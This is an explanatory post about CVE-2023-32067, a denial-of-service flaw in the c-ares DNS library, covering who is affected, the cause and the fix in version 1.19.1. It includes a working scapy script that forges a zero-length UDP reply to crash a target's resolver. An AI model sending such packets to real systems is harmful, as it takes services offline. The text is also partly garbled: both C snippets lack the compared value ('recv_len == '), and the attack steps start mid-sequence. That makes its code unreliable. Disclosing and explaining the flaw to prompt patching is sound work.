CVE-2023-32067 - How a DNS DoS Bug in c-ares Can Break Your Resolver (And How to Fix It)
c-ares is a popular library that lets programs do asynchronous DNS lookups, often acting as the engine behind many open source projects. If you’re running software that talks DNS on Linux, macOS, or even Windows, it’s likely you’re using c-ares under the hood. But in 2023, security researchers found a way to crash the library with almost no effort, resulting in a denial of service (DoS) attack. This post will walk you through what happened, how it works, example code, and how to fix it.
What is CVE-2023-32067?
CVE-2023-32067 is a vulnerability in c-ares that allows remote attackers to crash the DNS resolver using forged UDP packets. The critical part: if an attacker sends a UDP packet with a length of zero as a response, the c-ares process thinks that the connection ended gracefully and shuts down the resolver logic. This can take your service offline.
The bug is tracked at:
- NVD - CVE-2023-32067 Detail
- c-ares security advisory
Who is Affected?
Any software that uses c-ares below version 1.19.1 to perform DNS lookups asynchronously is at risk. This includes DNS proxies, some web servers, VPNs, and more.
You absolutely need to upgrade if you use c-ares directly, or if your software lists c-ares among its dependencies.
Explaining the Vulnerability
When c-ares receives a DNS response, it uses the UDP protocol, which does not make connections. Each UDP packet includes a length field. If the attacker responds to a DNS request with a UDP packet whose DNS payload length is zero, c-ares incorrectly thinks this means the “connection” has been cleanly closed. But with UDP, there is no connection—so this means any attacker can spoof these responses and “take down” DNS lookups.
Here's a simplified C snippet of what went wrong
// pseudocode (not full source)
if (recv_len == ) {
// Treat as end of stream and shut down
close_connection();
}
Normally, DNS packets should never be zero in length. Instead of ignoring or dropping these, c-ares interpreted them as a sign to shut down.
Your fake DNS server sends a UDP response with length zero back to the target resolver's port.
Now, c-ares gets the zero-length message, thinks “connection is done,” and shuts itself down until restarted.
Here is a Python script using scapy to send such a packet
from scapy.all import *
# Target IP and port (Usually the source port c-ares sent from)
target_ip = '192.168.1.123'
target_port = 12345 # change this to match your target's DNS client port
# Forge a UDP response with zero-length DNS
packet = IP(dst=target_ip)/UDP(dport=target_port, sport=53)/Raw(load=b'')
send(packet)
print('Sent zero-length UDP DNS payload')
If you run this script while c-ares is waiting for a DNS response, it can kill its resolver logic.
How Was It Fixed?
The c-ares team fixed this with this commit, included in version 1.19.1. Now, the code ignores zero-length UDP payloads and does not interpret them as connection shutdowns.
Fixed code logic:
if (recv_len == ) {
// Ignore zero-length payload instead of shutting down
continue;
}
Upgrade to c-ares 1.19.1 or later.
References
- c-ares CVE-2023-32067 Security Advisory
- NIST NVD Entry
- c-ares commit fix
- Scapy — Python Packet Crafting
Final Thoughts
CVE-2023-32067 is a good reminder that even “small” bugs in libraries we trust can become major DoS problems when critical logic is tripped by weird or unexpected data. If you’re using c-ares, get the fix now, or you risk DNS outages from the simplest packet possible.
Timeline
Published on: 05/25/2023 23:15:00 UTC
Last modified on: 06/07/2023 10:15:00 UTC